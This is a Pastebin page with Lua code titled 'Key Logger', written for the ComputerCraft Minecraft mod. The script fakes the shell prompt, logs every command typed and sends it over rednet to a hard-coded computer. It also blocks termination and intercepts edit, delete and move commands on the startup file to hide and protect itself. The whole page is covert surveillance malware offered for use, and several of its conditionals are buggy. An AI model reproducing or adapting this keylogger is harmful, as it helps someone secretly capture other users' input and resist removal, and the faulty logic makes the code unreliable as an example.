Advertisement
Alyssa

Key Logger

Nov 7th, 2012
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.35 KB | None | 0 0
  1. os = shell
  2. function falsemove()
  3. nid = id
  4. newarg1 = arg1
  5. newarg2 = arg2
  6. newarg3 = arg3
  7. newarg4 = arg4
  8. newarg5 = arg5
  9. newprogram = program
  10. if ranyet == 2 then
  11. os.run("mv", ".startup1", arg2)
  12. rednet.send(nid, newprogram .. " " .. arg1 .. " ")
  13. end
  14. ranyet = 1
  15. end
  16. function falsedelete()
  17. nid = id
  18. newarg1 = arg1
  19. newarg2 = arg2
  20. newarg3 = arg3
  21. newarg4 = arg4
  22. newarg5 = arg5
  23. newprogram = program
  24. if ranyet == 2 then
  25. os.run("rm", ".startup1")
  26. rednet.send(nid, newprogram .. " " .. arg1 .. " ")
  27. end
  28. ranyet = 1
  29. end
  30. function falseedit()
  31. nid = id
  32. newarg1 = arg1
  33. newarg2 = arg2
  34. newarg3 = arg3
  35. newarg4 = arg4
  36. newarg5 = arg5
  37. newprogram = program
  38. if ranyet == 2 then
  39. os.run("edit", ".startup1")
  40. rednet.send(nid, newprogram .. " " .. arg1 .. " ")
  41. end
  42. ranyet = 1
  43. end
  44. function runsend()
  45. nid = id
  46. newarg1 = arg1
  47. newarg2 = arg2
  48. newarg3 = arg3
  49. newarg4 = arg4
  50. newarg5 = arg5
  51. newprogram = program
  52. if ranyet == 2 then
  53. os.run(newprogram, newarg1, newarg2, newarg3, newarg4, newarg5)
  54. rednet.send(nid, newprogram .. " " .. newarg1 .. " " .. newarg2 .. " " .. newarg3 .. " " .. newarg4 .. " " .. newarg5 .. " ")
  55. ranyet = 1
  56. end
  57. end
  58. id = 223
  59. fs.delete = write
  60. shell.run = write
  61. os.pullEvent = os.pullEventRaw
  62. ranyet = 2
  63. space = " "
  64. program = space
  65. arg1 = space
  66. arg2 = space
  67. arg3 = space
  68. arg4 = space
  69. arg5 = space
  70. rednet.open("right")
  71. rednet.open("left")
  72. rednet.open("top")
  73. rednet.open("back")
  74. rednet.open("bottom")
  75. rednet.open("front")
  76. if fs.exists("startup1") then
  77. programr.run("startup1")
  78. end
  79. while true do
  80. program = space
  81. arg1 = space
  82. arg2 = space
  83. arg3 = space
  84. arg4 = space
  85. arg5 = space
  86. c = 1
  87. term.setTextColor(colors.yellow)
  88. write("> ")
  89. term.setTextColor(colors.white)
  90. textenter = read()
  91. for w in string.gmatch(textenter, "%a+") do
  92. if c == 1 then
  93. program = w
  94. elseif c == 2 then
  95. arg1 = w
  96. elseif c == 3 then
  97. arg2 = w
  98. elseif c == 4 then
  99. arg3 = w
  100. elseif c == 5 then
  101. arg4 = w
  102. else
  103. arg5 = w
  104. end
  105. c = c+1
  106. end
  107. c = 1
  108. if program == "edit" then
  109. if arg1 == "startup" then
  110. falseedit()
  111. end
  112. end
  113. if program == "rm" or "remove" or "delete" then
  114. if arg1 == "startup" then
  115. falsedelete()
  116. end
  117. end
  118. if program == "mv" or "move" then
  119. if arg1 == "startup" then
  120. falsemove()
  121. end
  122. end
  123. if not program == "rm" or "remove" or "edit" or "mv" or "move" or "delete" then
  124. runsend()
  125. end
  126. if not arg1 == "startup" then
  127. runsend()
  128. end
  129. ranyet = 2
  130. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement